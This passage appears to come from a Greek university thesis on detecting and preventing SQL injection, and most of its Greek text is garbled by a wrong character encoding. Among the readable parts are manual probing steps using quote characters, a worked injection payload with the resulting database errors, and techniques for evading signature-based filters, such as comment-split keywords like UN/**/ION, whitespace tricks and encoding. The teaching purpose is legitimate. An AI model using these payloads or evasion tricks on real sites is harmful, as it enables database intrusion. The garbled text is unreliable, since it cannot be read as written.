θαηαγξαθήο βνεζνύλ ηελ εύξεζε ξεγκάησλ ζηελ εθαξκνγή ηζηνύ θαη ζηνλ πξνζδηνξηζκό θαη 

ηελ αλάιπζε ησλ επηζέζεσλ. Δπίζεο, βνεζνύλ ζηελ αμηνιόγεζε ηεο απνηειεζκαηηθόηεηαο 

θαη ηεο αθξίβεηαο ηεο ηερληθήο πξνζηαζίαο.Δμαξηάηαη από ηνπο δηαρεηξηζηέο ηνπ εθάζηνηε 

ζπζηήκαηνο πνηα ζπκβάληα αζθαιείαο ζεσξνύλ όηη πξέπεη λα θαηαγξάθνληαη θαη πνηεο 

πιεξνθνξίεο είλαη επηζπκεηέο γηα θάζε ζπκβάλ. Γηα παξάδεηγκα, κηα απζηεξή πνιηηηθή ζα 

επέβαιε ηελ θαηαγξαθή αλαιπηηθώλ πιεξνθνξηώλ γηα θάζε SQL δήισζε πνπ ειέγρεηαη από 

ηελ ηερληθή πξνζηαζίαο, θαζώο θαη ην απνηέιεζκα ηνπ ειέγρνπ. 

 

       Μία άιιε πξαθηηθή ζα κπνξνύζε λα νξίζεη ηελ θαηαγξαθή πιεξνθνξηώλ κόλν ζηελ 

πεξίπησζε πνπ αληρλεπόηαλ κηα απόπεηξα επίζεζεο SQL  έγρπζεο.  ΢ηε δεύηεξε πεξίπησζε 

ζα ππάξμεη έλαο ζεκαληηθόο πεξηνξηζκόο ησλ δηαζέζηκσλ πιεξνθνξηώλ πνπ έρνπλ ζηε 

δηάζεζε ηνπο νη δηαρεηξηζηέο ηνπ ζπζηήκαηνο,  αιιά παξάιιεια κεηώλεηαη θαη ν θόξηνο 

εξγαζίαο,  θαζηζηώληαο κε απηόλ ηνλ ηξόπν πην απνδνηηθή ηελ ηερληθή πξνζηαζίαο. 

΢ηελ πξάμε γηα λα αληρλεύζνπκε γηα ηπρόλ εππάζεηεο ζε SQL injection ζα εθηειέζνπκε ηα 

παξαθάησ βήκαηα: 

Βήκα 1
ν
: Υξεζηκνπνηνύκε έλαλ νπνηνδήπνηε browser θαη αλνίγνπκε κία ζπγθεθξηκέλε 

ηζηνζειίδα. 

Βήκα 2
ν
: Μεηαθηλνύκε ηνλ θέξζνξα ηνπ πνληηθηνύ ζηα links ηεο ηζηνζειίδαο έρνληαο 

ηαπηόρξνλα ηελ πξνζνρή ζην θάησ κέξνο ηεο κπάξαο όπνπ θαίλεηαη ζε πνηα δηεύζπλζε URL 

παξαπέκπεη ν ζπγθεθξηκέλνο ζύλδεζκνο. Πξνζπαζνύκε λα βξνύκε έλα URL κε παξακέηξνπο 

ζε απηό (π.ρ http://www.site.com/articleid.asp?id=42). Σα πεξηζζόηεξα πξνβιήκαηα ζε 

επηζέζεηο sql injection είλαη νξαηά όηαλ νη δηεπζύλζεηο παξαπέκπνπλ ζε αξρεία κε θαηαιήμεηο 

”.asp” ή “.cfm”.΋ηαλ πξνζπαζνύκε λα ειέμνπκε κία ηζηνζειίδα γηα ηέηνηνπ είδνπο 

εππάζεηεο,θνηηάδνπκε γηα απηά ηα αξρεία ζπγθεθξηκέλα.Δάλ δνύκε όηη δελ εκθαλίδεηαη 

θάπνην URL ζηε θάησ κπάξα αξηζηεξά ηόηε απιά θιηθάξνπκε ζην ζύλδεζκν απηό ώζπνπ λα 

δνύκε αλ πεξηέρεη ηηο παξακέηξνπο απηέο ζηε κπάξα δηεπζύλζεσλ. 

Βήκα 3
ν
: Αθνύ βξεζεί κία δηεπζύλζε ε νπνία πεξηέρεη παξακέηξνπο θάλνπκε θιηθ ζην 

link θαη πεξηκέλνπκε λα θνξηώζεη ε ζειίδα.Η ζπγθεθξηκέλε ζειίδα πξέπεη λα είλαη ε ζειίδα 

http://www.site.com/articleid.asp?id=42
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πνπ βιέπακε ζην status bar ζην θάησ κέξνο ηνπ browser αιιά απηή ηε θνξά καδί κε ηηο 

παξακέηξνπο.  

Βήκα 4
ν
:Δδώ είλαη ην ζεκείν όπνπ ν πξαγκαηηθόο έιεγρνο γηα επίζεζε ιακβάλεη 

κέξνο.Τπάξρνπλ δύν κέζνδνη γηα λα ειέμνπκε ην script ζηελ πεξίπησζε κηαο ελδερόκελεο 

SQL Injection.Καηά ηε δηάξθεηα ηεο δηαδηθαζίαο απηήο πξέπεη λα είκαζηε ζίγνπξνη όηη 

ειέγμακε θάζε ηηκή παξακέηξνπ κία θνξά ζε θάζε εθηέιεζε θαη κε ηηο δύν κεζόδνπο. 

Μέζνδνο 1
ε
:Πεγαίλνπκε ζηε κπάξα δηεπζύλζεσλ,κεηαθηλνύκε ηνλ θέξζνξα θαη θάλνπκε 

highlight ζηε ηηκή κηαο παξακέηξνπ(π.ρ ζηε ιέμε ηεο ηηκήο “name=value”) θαη 

αληηθαζηζηνύκε απηή κε κία απιή δήισζε (‟) ε νπνία ζα θαίλεηαη θάπσο έηζη “name=‟”. 

Μέζνδνο 2
ε
: Σώξα πεγαίλνπκε μαλά ζηε κπάξα δηεπζύλζεσλ,ρξεζηκνπνηνύκε ηνλ 

θέξζνξα θαη ηνπνζεηνύκε κία απιή δήισζε (‟) ζην κέζν ηεο ηηκήο.Θα πξέπεη λα θαίλεηαη 

έηζη:“name=val‟ue” 

 

Βήκα 5
ν
:Παηάκε ην θνπκπί „Go‟ γηα λα ζηείινπκε ηελ αίηεζε ζηνλ εμππεξεηεηή 

Βήκα 6
ν
: Αλαιύνπκε ηελ απάληεζε πνπ ιάβακε από ηνλ server γηα ηύρνλ κελύκαηα 

ιάζνπο πνπ επηζηξάθεθαλ.Σα πεξηζζόηεξα κήλπκαηα ιάζνπο βάζεσλ δεδνκέλσλ θαίλνληαη 

θάπσο έηζη: 

 

     Example Error 1:  

Microsoft OLE DB Provider for SQL Server error 

'80040e14'Unclosed quotation mark before the character string '51 ORDER BY 

some_name'./some_directory/some_file.asp, line 5 

 

Example Error 2: 

ODBC Error Code = S1000(General error 

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended. 

 

Bήκα 7
ν
:Μεξηθέο θνξέο όκσο ην κήλπκα ιάζνπο δελ είλαη πξνθαλέο θαη ζπγθεθξηκέλα 

είλαη θξπκκέλν κέζα ζηε ζειίδα.Γηα λα ην βξνύκε(αλ ππάξρεη),πξέπεη λα θνηηάμνπκε ηνλ 

HTML θώδηθα ηεο ζειίδαο θαη λα αλαδεηήζνπκε ην menu error. Todothis ζε έλαλ 

νπνηνδήπνηε browser θαη λα επηιέμνπκε ηελ επηινγή View Source.Έπεηηα θάλνπκε αληηγξαθή 

ηνλ θώδηθα ζε έλα ζεκεησκαηάξην θαη θάλνπκε αλαδήηεζε ηεο θξάζεο ‗Microsoft OLEDB‘ 

(ODBC)  ζε έλα text box. 

 

Δάλ είηε ην 6
ν
 ή  ην 7

ν
 βήκα είλαη επηηπρέο ηόηε ε ζειίδα είλαη εππαζήο ζε επίζεζε SQL 

injection. 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

49 
 

 

Έλαο άιινο ελδεδεηγκέλνο ηξόπνο αλίρλεπζεο εππαζεηώλ είλαη ε ρξεζηκνπνίεζε κίαο 

απηνκαηνπνηεκέλεο δηαδηθηπαθήο εθαξκνγήο ειεγθηή εππαζεηώλ(automated SQL injection 

scanning), όπσο ην WebInspect ηεο HP¨ 

 (https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-

11-201-200%5e9570_4000_100__),  

ην ΑppScan ηεο ΙΒΜ: (http://www.watchfire.com/products/appscan/default.aspx)   

ή ην HailStorm ηεο Cenzic (http://www.cenzic.com/).  

Απηά ηα εξγαιεία πξνζθέξνπλ εύθνια απηνκαηνπνηεκέλνπο ηξόπνπο κε ηνπο νπνίνπο 

κπνξνύκε λα αλαιύζνπκε ηζηνζειίδεο γηα ηπρόλ πηζαλή εππάζεηα ζε ηέηνηνπ είδνπο 

επηζέζεηο.  

Δπηπιένλ, όπσο αλαθέξακε θαη πξίλ εθηόο από ηνλ απηνκαηνπνηεκέλν ηξόπν αλίρλεπζεο 

ππάξρεη θαη κία άιιε κνξθή αλίρλεπζεο ε νπνία νλνκάδεηαη Manual SQL Injection 

Testing. ΢ε απηήλ ηελ πεξίπησζε κπνξνύκε λα πξαγκαηνπνηήζνπκε θάπνηνπο ειέγρνπο 

ζηνπο νπνίνπο ζα δνύκε αλ ε εθαξκνγή καο είλαη επάισηε ζε επίζεζε δειεηεξίαζεο SQL 

θώδηθα ρσξίο λα ρξεζηκνπνηήζνπκε θαλέλα browser.΢ηελ παξνύζα θάζε νη έιεγρνη πνπ ζα 

παξνπζηάζνπκε αλαθέξνληαη ζε εύξεζε βαζηθώλ αδπλακηώλ ηεο SQL Injection θαη όρη ζε 

πξνρσξεκέλεο ηερληθέο. 

O επθνιόηεξνο ηξόπνο γηα λα αμηνινγήζνπκε θαηά πόζν κηα ηζηνζειίδα είλαη 

εππάζήο,είλαη λα αζρνιεζνύκε κε αβιαβείο επηζέζεηο δειεηεξίαζεο νη νπνίεο δελ ζα 

βιάςνπλ ηε βάζε δεδνκέλσλ καο εάλ επηηύρνπλ αιιά ζα καο παξέρνπλ κία έλδεημε όηη 

ρξεηάδεηαη λα ιύζνπκε έλα πξόβιεκα.Γηα παξάδεηγκα αο ππνζέζνπκε όηη έρνπκε κία 

ζειίδα/εθαξκνγή ε νπνία ςάρλεη γηα έλα άηνκν ζε κία βάζε δεδνκέλσλ ηεο νπνίαο ζθνπόο 

είλαη λα παξέρεη ηα ζηνηρεία επηθνηλσλίαο ηνπ αηόκνπ απηνύ σο απνηέιεζκα.Η ζειίδα απηή 

ίζσο ρξεζηκνπνηήζεη ηελ αθόινπζε κνξθή URL: 

 

http://myfakewebsite.com/directory.asp?lastname=chapple&firstname=mike  

 

Παξαηεξνύκε όηη ε ζειίδα πξαγκαηνπνηεί κία αλαδήηεζε ζηε βάζε δεδνκέλσλ 

ρξεζηκνπνηώληαο κία αίηεζε παξόκνηα κε ηελ αθόινπζε: 

SELECT phone 

FROM directory 

WHERE lastname = 'chapple' and firstname= 'mike'  

 

Με ηελ παξαπάλσ δήισζε κπνξνύκε λα θάλνπκε κία απιή αιιαγή ζην URL ην νπνίν 

ειέγρεη γηα ηπρόλ επηζέζεηο: 

https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200%5e9570_4000_100__
https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200%5e9570_4000_100__
http://www.watchfire.com/products/appscan/default.aspx
http://www.cenzic.com/
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http://myfakewebsite.com/directory.asp?lastname=chapple&firstname=mike'+AND+(s

elect+count(*)+from+fake)+%3e0+OR+'1'%3d'1  

 

Δάλ ε ζειίδα δελ έρεη πξνεγνπκέλσο πξνζηαηεπηεί θαηάιιεια ηόηε ζα κεηαθέξεη ην 

πξώην απηό ςεύηηθν όλνκα σο SQL δήισζε ζηε βάζε δεδνκέλσλ θαη ζα ην εθηειέζεη 

πξνθαιώληαο ην εμήο απνηέιεζκα: 

 

SELECT phone 

FROM directory 

WHERE lastname = 'chapple' and firstname='mike' 

AND (select count(*) from fake)> 0 OR '1'='1' 

 

    Από ην παξαπάλσ βιέπνπκε όηη ε ζύληαμε είλαη ιίγν δηαθνξεηηθή απ‟όηη ζην αξρηθό 

URL.΢ην ζπγθεθξηκέλν παξάδεηγκα,κεηαηξέςακε ηελ URL-θσδηθνπνηεκέλε κεηαβιεηή ζε 

ASCII ραξαθηήξεο έηζη ώζηε λα είλαη επθνιόηεξν γηα καο λα αθνινπζήζνπκε ην 

παξάδεηγκα.Γηα παξάδεηγκα,ην %3d είλαη ε θσδηθνπνίεζε ηνπ URL γηα ηνλ ραξαθηήξα 

„=‟.Δπίζεο πξαγκαηνπνηήζακε κεξηθέο αιιαγέο γξακκώλ γηα παξόκνηνπο ζθνπνύο. 

 

Δίναι η MySQL εςάλυηη ζηην εκηέλεζη πολλαπλών ενηολών; Άλλα ζςζηήμαηα 

βάζευν δεδομένυν; 

Μέρξη ηελ έθδνζε 4.1 ηεο MySQL δελ ήηαλ δπλαηή ε εθηέιεζε πνιιαπιώλ εληνιώλ σο 

κηα επεξώηεζε κέζσ γισζζώλ πξνγξακκαηηζκνύ. Από ηελ έθδνζε 4.1 θαη κεηά πξνζηέζεθε 

ε δπλαηόηεηα απηή. Η γιώζζα πξνγξακκαηηζκνύ PHP επέιεμε λα εμαθνινπζήζεη λα κελ 

ππνζηεξίδεη πνιιαπιέο εληνιέο δηαρσξηζκέλεο κε ; ζηε ζπλάξηεζε mysql_query(). 

Η κε ππνζηήξημε πνιιαπιώλ εληνιώλ σο κηα επεξώηεζε ζηελ PHP απνηειεί ζηελ νπζία 

αδπλακία ηεο γιώζζαο, αθνύ ε εθηέιεζε πνιιαπιώλ εληνιώλ πξνζθέξεη κεγαιύηεξε 

ηαρύηεηα θαη είλαη ζε αξθεηέο πεξηπηώζεηο επηζπκεηή, όπσο ζε καδηθά UPDATE θαη καδηθά 

INSERT. Αζθάιεηα έλαληη επηζέζεσλ SQL injections νθείιεη λα έρεη ν θώδηθαο κηαο 

εθαξκνγήο θαη είλαη επζύλε ηνπ πξνγξακκαηηζηή. ΢ηελ PHP5 ην mysqli interface (mysql 

improved interface) ππνζηεξίδεη πνιιαπιέο εληνιέο κε ηε κέζνδν multi_query(). 

Οη πεξηζζόηεξεο γιώζζεο πξνγξακκαηηζκνύ (όπσο νη Perl, Java, Python, C) πξνζθέξνπλ 

ηε δπλαηόηεηα πνιιαπιώλ εληνιώλ γηα εθδόζεηο MySQL 4.1+. ΢ε αξθεηέο πεξηπηώζεηο 

πξέπεη θαηά ηε ζύλδεζε ζηε βάζε λα ελεξγνπνηεζεί ε ππνζηήξημε απηή. Γηα παξάδεηγκα, 

ζηελ πεξίπησζε ηνπ JDBC ηεο Java, πξέπεη ε ζύλδεζε λα γίλεη κε ην εμήο DSN: 
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«jdbc:mysql://127.0.0.1:3306/databasename?allowMultiQueries=true» 

ενώ στο DBI της Perl, έτοσμε αντίστοιτα: 

«DBI:mysql:databasename;host=127.0.0.1;port=3306;mysql_multi_statements=1″ 

 

΢ε άιια ζπζηήκαηα βάζεσλ δεδνκέλσλ (εθηόο ηεο MySQL, όπσο γηα παξάδεηγκα νη: 

SQLite, PostgreSQL, Oracle, MS SQL Server) ππνζηεξίδεηαη θαλνληθά ε εθηέιεζε 

πνιιαπιώλ εληνιώλ (θαη από ηηο γιώζζεο PHP 4 θαη PHP 5). 

 

8.7.Αξιολογώνηαρ ηα αποηελέζμαηα 

Ο έιεγρνο πξαγκαηνπνηείηαη όηαλ πξνζπαζνύκε λα θνξηώζνπκε ηε ζειίδα γηα ην URL 

πνπ αληηζηνηρεί.Δάλ ε δηαδηθηπαθή εθαξκνγή ιεηηνπξγήζεη ζσζηά ζα απνκνλώζεη ηηο 

κεηαβιεηέο πνπ εηζάγεη ν ρξήζηεο πξσηνύ πεξάζεη ζηελ επεμεξγαζία ηεο αίηεζεο από ηε 

βάζε δεδνκέλσλ.΢ηε ζπλέρεηα,ζα εθηππσζεί έλα απνηέιεζκα ην νπνίν ζα πεξηιακβάλεη σο 

όλνκα ρξήζηε θώδηθα SQL.Θα εκθαληζηεί δειαδή ζηελ νζόλε έλα κήλπκα ιάζνπο παξόκνην 

κε ην παξαθάησ: 

 

Error: No user found with name mike+AND+(select+count(*)+ 

from+fake)+%3e0+OR+1%3d1 Chapple! 

 

Από ηελ άιιε κεξηά,αλ ε ηζηνζειίδα είλαη εππαζήο ζε SQL Injection ηόηε ζα πεξάζεη ηε 

δήισζε θαηεπζείαλ ζηε βάζε δεδνκέλσλ απ‟όπνπ ζα πξνθύςεη έλα από ηα δύν αθόινπζα 

απόηειεζκαηα.Πξώηνλ,αλ ν εμππεξεηεηήο έρεη ελεξγνπνηεκέλα ηα ιεπηνκεξή κελύκαηα 

ιάζνπο(ηα νπνία θαλνληθά δελ πξέπεη) ηόηε ζα επηζηξαθεί έλα απνηέιεζκα ζαλ απηό: 

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e37' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid object name 'fake'. 

/directory.asp, line 13 

 

΢ηελ αληίζεηε πεξίπησζε,αλ ν server δελ παξέρεη πιεξνθνξίεο γηα κελύκαηα ιάζνπο ηόηε 

ζα εκθαληζηεί ην εμήο απνηέιεζκα: 

 

Internal Server Error 

The server encountered an internal error or misconfiguration and was unable to 

complete your request. 
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Please contact the server administrator to inform of the time the error occurred and of 

anything you might have done that may have caused the error.More information about 

this error may be available in the server error log. 

 

Αλ ιάβνπκε έλα από ηα δύν απηά κελύκαηα ηόηε ε εθαξκνγή είλαη επάισηε ζε απηήλ ηελ 

επίζεζε. 
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9.Πποσυπημένερ Σεσνικέρ Ανίσνεςζηρ Δπίθεζηρ  

 

9.1.Ανίσνεςζη Γιαθςγήρ 

    Η αλίρλεπζε ηεο επίζεζεο SQL Injection έρεη επηηεπρζεί κέζσ ηερληθώλ ηαηξηάζκαηνο 

επηινγώλ δειαδή κεζόδσλ νη νπνίεο απνηξέπνπλ ηελ πξόζβαζε όηαλ εηζαρζνύλ θάπνηεο 

ζπγθεθξηκέλεο ιέμεηο θιεηδηά ή ππνγξαθέο νη νπνίεο είλαη θαθόβνπιεο.Έσο ζήκεξα απηή ε 

ηερληθή θξίλεηαη επηηπρεκέλε.Πιένλ νη επηηηζέκελνη πξνζπαζνύλ λα απνθξύςνπλ ην 

πεξηερόκελν ηνπ θαθόβνπινπ κελύκαηνο πνπ εηζάγνπλ κε δηαθνξεηηθνύο ηξόπνπο έηζη ώζηε 

λα κελ αληρλεπζνύλ. 

Απηέο νη πξνζπάζεηεο απνθπγήο ηεο αλίρλεπζεο απαηηνύλ λέα ηερλνινγία θαη ηερληθέο 

πξνθεηκέλνπ λα αλαθαιύπηνληαη  θαη λα ζηακαηάλε νη έλεξγεηεο απηέο ζε ζπζηήκαηα ζηα 

νπνία κπνξεί λα ππάξμεη ζεκαληηθή δηαξξνή πιεξνθνξηώλ. 

Οη κεραλέο αλίρλεπζεο δηαθπγήο απνηειεί έλα λέν ηξόπν πξνζηαζίαο ελάληηα ζε ηέηνηεο 

επηζέζεηο.Απηέο νη κεραλέο αλαγλσξίδνπλ πξνζπάζεηεο  πνπ απνζθνπνύλ ζην λα απνθξύςνπλ 

ηνλ θαθόβνπιν θώδηθα πνπ ζα έρεη σο απνηέιεζκα κία επηηπρή επίζεζε δειεηήξηαζεο SQL 

θαη λα απνηξέςεη απηήλ έηζη ώζηε λα αληρλεύζνπλ αιιά θαη λα απνηξέςνπλ απηήλ ηελ 

ελέξγεηα. 

 

Trojan Horse  

     Ιζηνξηθά νη επηζέζεηο ηέηνηνπ ηύπνπ όπσο αλαθέξακε θαη πξηλ αληηκεησπίδνληαη κε ηε 

ρξήζε ηερληθώλ ηαηξηάζκαηνο ζε ιέμεηο θιεηδηά πξνθεηκέλνπ λα αλαγλσξίδνπλ θαθόβνπιεο 

αηηήζεηο.΢ηελ πεξίπησζε νπνύ ν επηηηζέκελνο ρξεζηκνπνηεί Trojan Horse επηθίλδπλν θνκκάηη 

θώδηθα βξίζθεηαη θξπκκέλν κέζα ζε κία έγθπξε αίηεζε θαη θαλεξώλεηαη αθνύ γίλεη 

απνδεθηή κέζα ζηα ηείρε ηνπ θέληξνπ δεδνκέλσλ. 

Σα ζπζηήκαηα παξεκπόδηζεο απεηιώλ όπσο ην IPS θαη ηα firewalls καζαίλνπλ ζε απηήλ 

ηελ ηερληθή θαη είλαη ηθαλά λα εληνπίζνπλ θξπθέο επηζέζεηο πξσηνύ γίλνπλ απνδεθηέο ζην 

θέληξν δεδνκέλσλ θαη ηνπο επηηξαπεί ε πξόζβαζε ζην πεδίν ππνδνκήο ηεο εθαξκνγήο.Με ηα 

ρξόληα,κεγάιεο ιίζηεο πηζαλώλ ζπλδπαζκώλ από ιέμεηο θαη ραξαθηήξεο νη νπνίνη κπνξνύλ λα 

πξνθαιέζνπλ SQL Injection έρνπλ ζπληαρζεί,κε απνηέιεζκα ηε δεκηνπξγία βάζεσλ 

δεδνκέλσλ ππνγξαθώλ(signature databases). 

Δπηπξνζζέησο ζηηο ππνγξαθέο,ην ηαίξηαζκα ιέμεσλ επίζεο ρξεζηκνπνηείηαη γηα λα 

εκπνδίζεη πεξηπηώζεηο όπνπ ν επηηηζέκελνο κπνξεί λα παξαβηάζεη επηηπρώο ηνπο ακπληηθνύο 

κεραληζκνύο ηεο εθαξκνγήο.΢πγθεθξηκέλεο ιέμεηο όπσο ην “DROP” ή ην “UNION” ζπρλά 

εθιακβάλνληαη σο πηζαλέο επηζέζεηο θαη απηό έρεη σο ζπλέπεηα λα απνξξίπηνληαη ηέηνηεο 

αηηήζεηο.Οη επηηηζέκελνη έκαζαλ έπεηηα από ηελ θίλεζε ηνπο απηή κε ην Trojan Horse όηη 

απνξξίπηεηαη ηειηθά από ηα firewalls κε απνηέιεζκα λα ηνπο αξλείηαη ε πξόζβαζε ζηελ 
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εθαξκνγή.Έηζη ήηαλ απαξαίηεην λα βξνύλε έλα λέν ηξόπν εηζβνιήο ζε απηά ηα ζπζηήκαηα 

θαη από απηήλ ηελ αλάγθε γελλήζεθε ην “Trojan Zebra”. 

 

Trojan Zebra 

     ΢ηελ επίζεζε απηήλ ρξεζηκνπνηείηαη ην Trojan Zebra ην νπνίν κνηάδεη αξθεηά κε ην 

Trojan Horse αιιά δηαθέξεη ζε ζρεκαηηζκό.Σα ζπζηήκαηα παξεκπόδηζεο απεηιώλ αλαδεηνύλ 

γηα ζπγθεθξηκέλεο αληηζηνηρίεο(ηαηξηάζκαηα) ηα νπνία όκσο κπεξδεύνληαη από ηελ εκθάληζε 

ηνπ Trojan Zebra.Έηζη,επηηξέπεηαη πξόζβαζε ηειηθά ζην θέληξν δεδνκέλσλ όπνπ ε θξπθή 

επίζεζε δηελεξγείηαη κέζα ζηηο βάζεηο δεδνκέλσλ. 

΢ήκεξα νη επηζέζεηο SQL Injection επηηπγράλνληαη ζε κεγάιν βαζκό ιόγσ ηνπ όηη ην zebra 

κνηάδεη πάξα πνιύ κε ην horse.Παξόια απηά ρξεζηκνπνηνύλ δηαθνξεηηθό πξόηππν ην νπνίν 

δελ πεξηέρεηαη ζηηο ζεκεξηλέο βάζεηο δεδνκέλσλ ππνγξαθώλ.΢ην ζπγθεθξηκέλν ηξόπν 

επίζεζεο(zebra) νη επηηηζέκελνη εθκεηαιιέπνληαη ηελ επειημία δηαθόξσλ παξακέηξσλ αιιά 

θαη ηελ πνηθηιία ηεο γιώζζαο γηα λα απνθξύςνπλ παξαδνζηαθέο επηζέζεηο νη νπνίεο 

αλαγλσξίδνληαη από ηα ζπζηήκαηα παξεκπόδηζεο απεηιώλ.΢ηνλ παξαθάησ πίλαθα 

παξνπζηάδεηαη πώο ρξεζηκνπνηνώληαο κία ηερληθή δηαθπγήο κπνξνύκε λα κεηαηξέςνπκε έλα 

κελπκα SQL ζε θξπθό κήλπκα ην νπνίν λα κελ εληνπίδεηαη σο θαθόβνπιν. 

 

 

 

Δηδηθόηεξα ππάξρνπλ ηέζζεξηο θαηεγνξίεο δηαθπγήο πνπ ρξεζηκνπνηνύληαη ζήκεξα: 

 

9.2.White Space Manipulation 

΢ρεδόλ όιεο νη κεραλέο αλίρλεπζεο επηζέζεσλ SQL Injection βαζηζκέλεο ζε ππνγξαθέο 

είλαη ηθαλέο λα αληρλεύζνπλ  επηζέζεηο νη νπνίεο πνηθνίινπλ ζηνλ αξηζκό θαη ζηελ 

θσδηθνπνηήζε ησλ θελώλ πνπ εκθαλίδνληαη γύξσ από ηνλ θαθόβνπιν SQL 

θώδηθα.΋κσο,απηό ην νπνίν δελ είλαη ηθαλέο νη κεραλέο απηέο λα πξαγκαηνπνηήζνπλ είλαη ε 
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αλίρλεπζε θελώλ κεηαμύ ίδηνπ θώδηθα.Δπεηδή ην πξόηππν αληηζηνηρίαο θαη ε κέζνδνο 

ππνγξαθώλ γεληθά αλαδεηνύλ γηα ηαίξηαζκα θεηκέλνπ ην νπνίν πεξηιακβάλεη έλα ή 

πεξηζζόηεξα θελά,ηόηε απνηπγράλνπλ λα αληρλεύζνπλ ην ίδην ηαίξηαζκα θεηκέλνπ όηαλ δελ 

πεξηέρνληαη θελά κέζα ζηνλ θώδηθα. 

 

Δπίζεο λα ζεκεηώζνπκε παξόιν πνπ ην white space manipulation ζπλήζσο πεξηιακβάλεη 

ηε δηαγξαθή ησλ θελώλ κεηαμύ ησλ ιέμεσλ ζε κία αίηεζε,νη αθόινπζεο ελέξγεηεο κπνξνύλ 

λα ρξεζηκνπνηεζνύλ γηα λα κπεξδέςνπλ ην ηαίξηαζκα κεηαμύ ησλ ιέμεσλ ζηα ζπζηήκαηα 

αλίρλεπζεο: 

    • Tab 

    • Carriage return 

    • Line feed 

 

Η επίζεζε απηή δνπιεύεη δηόηη ε κεραλή αλάιπζεο SQL ησλ πεξηζζόηεξσλ βάζεσλ 

δεδνκέλσλ δελ ελδηαθέξεηαη γηα ηα θελά θαη ηε δηακόξθσζε ησλ ραξαθηήξσλ. 

 

9.3.Comment Exploitation 

     ΢ην παξειζόλ νη επηηηζέκελνη ρξεζηκνπνηνύζαλ ηελ θνηλή δηπιή ελσηηθή ζύληαμε,γηα 

παξάδεηγκα ην „- -„,πξνθεηκέλνπ λα θαιύςνπλ ηηο ελέξγεηεο ηνπο.Πνιιέο κεραλέο ζήκεξα 

αλαγλσξίδνπλ απηέο ηηο επηζέζεηο κε ζπλέπεηα νη επηηηζέκελνη λα αιιάμνπλ ηαθηηθή.Έηζη 

ρξεζηκνπνηνύλ ηελ εμήο ζύληαμε ζρνιίνπ πνπ ππνζηεξίδεηαη ζηε γιώζζα C, /* */ ,γηα λα 

παξαθάκςνπλ ηελ αλίρλεπζε. 

Οη επηηηζέκελνη ρξεζηκνπνηνύλ απηό ην είδνο θεηκέλνπ γηα λα δηαρσξίζνπλ ηηο εληνιέο νη 

νπνίεο ρξεζηκνπνηνύληαη καδί ζηηο επηζέζεηο αιιά αλαγλσξίδνληαη εύθνια κέζσ 

αληηζηνίρηζεο ππνγξαθώλ θαη ζε κεξηθέο πεξηπηώζεηο δηαρσξίδνπλ ηηο ιέμεηο 

θιεηδηά(keywords). 

Γηα παξάδεηγκα,ε εληνιή UNION είλαη κία θνηλή ιέμε πνπ ρξεζηκνπνηείηαη γηα λα 

πξνθαιέζνπκε SQL injection.΋ζν ε ιέμε απηή δελ ζπλνδεύεηαη από θάπνηα άιιε ιέμε θιεηδί 

ή δελ ππάξρεη θάπνην θελό ηόηε ζα αλαγλσξίδεηαη από ηηο κεραλέο αλίρλεπζεο ππνγξαθώλ σο 

κία πηζαλή απεηιή.Γηα λα απνθύγνπλ νη επηηηζέκελνη ηελ αλίρλεπζε ηνπνζεηνύλ δείθηεο 

ζρνιηώλ ηεο γιώζζαο C όπσο αλαθέξακε θαη πξνεγνπκέλσο.Οπόηε ε ιέμε UNION κπνξεί 

λα γίλεη σο UN/**/ION επνκέλσο ζα παξαθάκςεη ηελ αζθάιεηα.Απηή ε επίζεζε 

επηηπγράλεηαη επεηδή νη πεξηζζόηεξεο κεραλέο πνπ επεμεξγάδνληαη SQL θώδηθα ζηηο βάζεηο 

δεδνκέλσλ ζήκεξα αθαηξνύλ ηα ζρόιηα απηά θαηά ηελ αλάγλσζε πξσηνύ μεθηλήζεη ε  

δηαδηθαζία επεμεξγαζίαο ηνπ statement.  
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9.4.Σεσνικέρ Κυδικοποίηζηρ 

Οη ηερληθέο θσδηθνπνίεζεο είλαη ίζσο ε επθνιόηεξε κέζνδνο αλίρλεπζεο κέζσ 

ππνγξαθώλ ή κεραλώλ αληηζηνίρεζεο πξνηύπσλ.Απηό νθείιεηαη ζην γεγνλόο όηη ε 

θσδηθνπνίεζε κπνξεί λα αιιάμεη ην θείκελν θαηά ηνλ ηξόπν κε ηνλ νπνίν θαη ε 

θξππηνγξαθία αιιάδεη ην θείκελν πξνθείκελνπ λα ην θξύςεη από αλεπηζύκεηνπο επηζθέπηεο. 

Οη πην γλσζηέο κνξθέο θσδηθνπνίεζεο πνπ ρξεζηκνπνηνύληαη γηα αλίρλεπζε είλαη νη εμήο: 

• URL Encoding  

• Unicode/UTF-8  

• Hex Encoding  

• char() function   

Γεληθά νη ηερληθέο απηέο απνδίδνπλ ιόγσ ηεο αλνκνηνγέλεηαο ηνπ δηαδηθηύνπ,ηεο αλάγθεο 

λα ππνζηεξίδνληαη πνιιαπιέο γιώζζεο θαη δηαθνξεηηθά είδε ραξαθηήξσλ θεηκέλνπ θαη ηεο 

απνηπρίαο ησλ ζπζηεκάησλ παξεκπόδηζεο απεηιώλ ηα νπνία αδπλαηνύλ λα 

απνθσδηθνπνηήζνπλ ή λα ππνζηεξίδνπλ πνιιαπιέο ζειίδεο γηα εηζεξρόκελεο αηηήζεηο. 

 

9.5.Παπαλλαγέρ ζε ένα θέμα  

Τπάξρνπλ πνιιέο παξαιιαγέο νη νπνίεο κπνξνύλ λα ζηεξηρζνύλ πάλσ ζηηο ηθαλόηεηεο ηεο 

γιώζζαο SQL όπσο νξίδεηαη ζην SQL99 standard. 

 

Αιιεινπρία (Concatenation) 

Η αιιεινπρία δηαζπά ιέμεηο θιεηδηά θαη απνθεύγεη ηελ αλίρλεπζε ιόγσ ηεο δπλαηόηεηαο 

πνπ δίλεη ε SQL κεραλή λα δεκηνπξγεί έλα απιό string από πνιιαπιά θνκκάηηα.Η ζύληαμε 

ηεο αιιεινπρίαο πνηθίιεη αλά βάζε δεδνκέλσλ αιιά γεληθά ρξεζηκνπνηεί είηε ην ζύκβνιν + 

